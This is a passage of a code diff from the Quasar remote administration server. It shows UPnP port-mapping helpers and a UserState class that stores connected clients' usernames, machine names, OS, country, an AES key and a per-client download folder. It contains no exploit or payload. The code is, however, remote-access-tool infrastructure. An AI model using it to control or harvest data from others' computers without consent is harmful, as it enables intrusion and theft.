Mapping mapping = new Mapping(Protocol.Tcp, port, port);
await _device.CreatePortMapAsync(mapping);
if (_mappings.ContainsKey(mapping.PrivatePort))
_mappings[mapping.PrivatePort] = mapping;
else
_mappings.Add(mapping.PrivatePort, mapping);
}
catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException)
{
}
}
/// <summary>
/// Deletes an existing port mapping.
/// </summary>
/// <param name="port">The port mapping to delete.</param>
public async void DeletePortMapAsync(int port)
{
if (_mappings.TryGetValue(port, out var mapping))
{
try
{
await _device.DeletePortMapAsync(mapping);
_mappings.Remove(mapping.PrivatePort);
}
catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException)
{
}
}
}
}
}
+33
View File
@@ -0,0 +1,33 @@
using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
using System.IO;
using System.Windows.Forms;
namespace Quasar.Server.Networking
{
public class UserState
{
private string _downloadDirectory;
private Aes256 _aesInstance;
public string Version { get; set; }
public string OperatingSystem { get; set; }
public string AccountType { get; set; }
public int ImageIndex { get; set; }
public string Country { get; set; }
public string CountryCode { get; set; }
public string Id { get; set; }
public string Username { get; set; }
public string PcName { get; set; }
public string UserAtPc => $"{Username}@{PcName}";
public string CountryWithCode => $"{Country} [{CountryCode}]";
public string Tag { get; set; }
public string EncryptionKey { get; set; }
public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey));
public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc))
? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\")
: Path.Combine(Application.StartupPath, $"Clients\\{Id}\\"));
}
}